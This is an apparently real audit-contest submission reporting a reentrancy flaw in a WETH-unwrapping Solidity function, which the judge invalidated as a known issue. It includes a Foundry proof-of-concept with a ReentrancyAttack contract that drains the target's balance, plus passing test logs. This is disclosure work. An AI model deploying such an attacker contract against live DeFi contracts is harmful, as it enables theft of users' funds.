DeFiHardhatOracleProxyUpdates
100,000 USDC
View results
Submission Details
Severity: high
Invalid

```UnwrapAndSendETH::unwrapAndSendETH``` can be reentered and all funds stolen

Summary

The UnwrapAndSendETH::unwrapAndSendETH function is designed to unwrap Wrapped Ether (WETH) into Ether (ETH) and send the resulting ETH to a specified external address. The vulnerability arises during the process of sending ETH, where a low-level call is used. This method of transferring ETH allows the recipient (the to address) to execute arbitrary code, including potentially malicious code in a fallback or receive function.

Vulnerability Details

The core of the vulnerability lies in the contract's use of a low-level call to transfer ETH. Unlike transfer or send, which limit the amount of gas forwarded to the recipient, thereby preventing them from performing more complex operations, call forwards all remaining gas. This enables the recipient to perform actions such as calling back into the sending contract before the initial transaction is completed. If the recipient is a contract with a fallback or receive function designed to exploit this, it can re-enter the UnwrapAndSendETH function leading to exploitation.

@>function unwrapAndSendETH(address to) external {
uint256 wethBalance = IWETH(WETH).balanceOf(address(this));
require(wethBalance > 0, "Insufficient WETH");
IWETH(WETH).withdraw(wethBalance);
@> (bool success, ) = to.call{value: address(this).balance}(
new bytes(0)
);
require(success, "Eth transfer Failed.");
}

Impact

Integrate foundry into the project as described here: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry.
Copy and paste this code in a new file in the foundry/unit/ folder.

Run
forge test --match-test testReentrancyAttack -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
pragma abicoder v2;
import {Test, console} from "forge-std/Test.sol";
import {UnwrapAndSendETH} from "../../../contracts/pipeline/junctions/UnwrapAndSendETH.sol";
import {MockWETH} from "../../../contracts/mocks/MockWETH.sol";
contract UnwrapAndSendETHTest is Test {
UnwrapAndSendETH public unwrapAndSendETH;
MockWETH public mockWETH;
ReentrancyAttack public attacker;
function setUp() public {
console.log("******************** Logs SetUp ********************");
mockWETH = new MockWETH();
unwrapAndSendETH = new UnwrapAndSendETH(address(mockWETH));
attacker = new ReentrancyAttack(address(unwrapAndSendETH));
// Simulate depositing Ether into MockWETH to mint WETH
(bool success,) = address(mockWETH).call{value: 10 ether}("");
require(success, "Deposit failed");
uint256 wethBalance = mockWETH.balanceOf(address(this));
console.log("MockETH contract WETH balance: %s", mockWETH.balanceOf(address(this)));
assertTrue(wethBalance == 10 ether, "WETH minting failed");
// Transfer WETH to UnwrapAndSendETH contract
mockWETH.transfer(address(unwrapAndSendETH), wethBalance);
console.log("UnwrapAndSendETH contract WETH balance: %s", mockWETH.balanceOf(address(unwrapAndSendETH)));
console.log("----------------------------------------------------------");
}
function testReentrancyAttack() public {
// Record initial balances
uint256 initialContractETHBalance = address(unwrapAndSendETH).balance;
uint256 initialAttackerETHBalance = address(attacker).balance;
uint256 initialContractWETHBalance = mockWETH.balanceOf(address(unwrapAndSendETH));
console.log("UnwrapAndSendETH contract initial WETH balance: %s", initialContractWETHBalance);
console.log("Attacker initial ETH balance: %s", initialAttackerETHBalance);
// Attempt the reentrancy attack
attacker.attack{value: 1 ether}();
// Check final balances
uint256 finalContractETHBalance = address(unwrapAndSendETH).balance;
uint256 finalAttackerETHBalance = address(attacker).balance;
uint256 finalContractWETHBalance = mockWETH.balanceOf(address(unwrapAndSendETH));
console.log("Attacker final ETH balance: %s", finalAttackerETHBalance);
console.log("Contract final WETH balance: %s", finalContractWETHBalance);
// The UnwrapAndSendETH contract's ETH balance has decreased by more than 1 ether
assertLe(finalContractETHBalance - initialContractETHBalance, 1 ether, "Contract lost too much ETH");
// The attacker's balance has increased by more than 1 ether
assertGt(finalAttackerETHBalance - initialAttackerETHBalance, 1 ether, "Attacker gained too much ETH");
}
}
contract ReentrancyAttack {
UnwrapAndSendETH public unwrapAndSendETH;
constructor(address payable _unwrapAndSendETH) {
unwrapAndSendETH = UnwrapAndSendETH(_unwrapAndSendETH);
}
// Fallback function used to perform the reentrancy attack
receive() external payable {
if (address(unwrapAndSendETH).balance >= 1 ether) {
unwrapAndSendETH.unwrapAndSendETH(msg.sender);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ether");
unwrapAndSendETH.unwrapAndSendETH(address(this));
}
}
Ran 1 test for test/foundry/unit/UnwrapAndSendETHTest.t.sol:UnwrapAndSendETHTest
[PASS] testReentrancyAttack() (gas: 75750)
Logs:
******************** Logs SetUp ********************
MockETH contract WETH balance: 10000000000000000000
UnwrapAndSendETH contract WETH balance: 10000000000000000000
----------------------------------------------------------
UnwrapAndSendETH contract initial WETH balance: 10000000000000000000
Attacker initial ETH balance: 0
Attacker final ETH balance: 11000000000000000000
Contract final WETH balance: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.68ms (126.96µs CPU time)

The test shows that the balance of the contract was stolen during the attack.

Tools Used

Manual review

Recommendations

Add re-entrancy guards.

Updates

Lead Judging Commences

giovannidisiena Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.